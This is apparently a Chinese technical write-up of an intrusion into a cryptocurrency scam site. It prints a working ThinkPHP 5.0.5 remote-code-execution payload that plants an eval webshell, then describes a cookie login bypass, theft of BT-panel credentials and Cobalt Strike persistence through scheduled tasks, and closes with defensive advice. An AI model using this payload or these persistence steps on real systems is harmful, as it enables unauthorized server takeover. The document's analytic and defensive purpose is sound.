某杀猪盘渗透测试
字数 1421 2025-08-20 18:17:47
杀猪盘渗透测试技术分析报告
1. 目标系统概述
本次渗透测试对象是一个虚拟货币买涨跌的杀猪盘系统,该系统具有以下特点:
- 基于ThinkPHP 5.0.5框架开发
- Windows操作系统环境
- 使用宝塔面板进行服务器管理
- 前台为虚拟货币交易平台,后台有资金审核功能
2. 初始渗透
2.1 ThinkPHP 5.0.5 RCE漏洞利用
目标系统存在ThinkPHP 5.0.5远程代码执行漏洞,利用以下payload写入webshell:
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))
解码后:
- 文件名:12345.php
- 文件内容:
<?php eval($_POST['a']);
2.2 系统限制分析
通过phpinfo发现系统存在以下限制:
- 禁用的系统命令执行函数:
assert, system, passthru, exec, pcntl_exec, shell_exec, popen, proc_open - com和dl加载功能被禁用
- 保留的文件操作函数:
- assert()
- file_put_contents()
3. 权限提升与横向移动
3.1 后台登录绕过
分析网站源码发现管理员cookie固定,可通过添加以下cookie字段绕过登录:
[添加特定cookie键值]
通过浏览器开发者工具(F12)添加cookie后可直接访问后台。
3.2 获取资金证据
在前台与客服交流获取以下关键证据:
- 平台运作模式:用户将钱打入客服提供的账号 → 用户账号充值 → 后台审核 → 进行交易
- 收集了客服提供的转账账户信息
4. 服务器深入渗透
4.1 宝塔面板发现
通过文件系统分析发现:
- 服务器安装了宝塔面板
- 默认8888端口开放但入口被修改
- 找到关键文件:
admin_path.pl- 存储修改后的登录路径default.pl- 存储登录密码default.db- 记录登录账号
4.2 宝塔面板登录
通过分析上述文件获取:
- 修改后的登录入口URL
- 登录账号和密码
成功登录宝塔面板后,通过修改计划任务实现持久化:
- 在计划任务中添加CS上线马
- 上线后恢复原计划任务
4.3 Cobalt Strike上线
通过上述方法成功获取服务器控制权,发现:
- 服务器仅有公网IP,无内网环境
- 同C段存在多台部署相同系统的服务器
5. 技术要点总结
-
ThinkPHP漏洞利用:
- 熟悉不同版本ThinkPHP的RCE漏洞利用方式
- 掌握绕过各种限制写入webshell的技巧
-
权限维持方法:
- 通过计划任务实现持久化
- 在Windows环境下利用宝塔面板的特性
-
信息收集技巧:
- 系统配置文件的分析与定位
- 关键日志文件的查找与利用
-
取证方法:
- 资金流向证据的收集
- 系统操作日志的保存
6. 防御建议
-
对于ThinkPHP系统:
- 及时升级到最新安全版本
- 禁用不必要的PHP函数
- 对输入参数进行严格过滤
-
对于宝塔面板:
- 修改默认端口和路径
- 使用强密码并定期更换
- 限制访问IP
-
系统层面:
- 实施最小权限原则
- 定期审计系统文件和配置
- 监控异常计划任务
-
应用层面:
- 不要使用固定cookie或硬编码凭证
- 实现完善的会话管理机制
- 对后台功能进行严格的访问控制
7. 扩展思考
-
当遇到命令执行函数被禁用时,可尝试以下替代方案:
- 使用PHP的反射功能
- 通过LD_PRELOAD等机制绕过
- 利用已有文件操作权限进行信息收集
-
在Windows环境下渗透时可重点关注:
- 注册表中的敏感信息
- IIS或Apache的配置文件
- 第三方管理软件如宝塔、phpStudy等的配置
-
对于金融类系统的渗透测试应特别注意:
- 资金流向的证据收集
- 用户数据的保护
- 操作的法律边界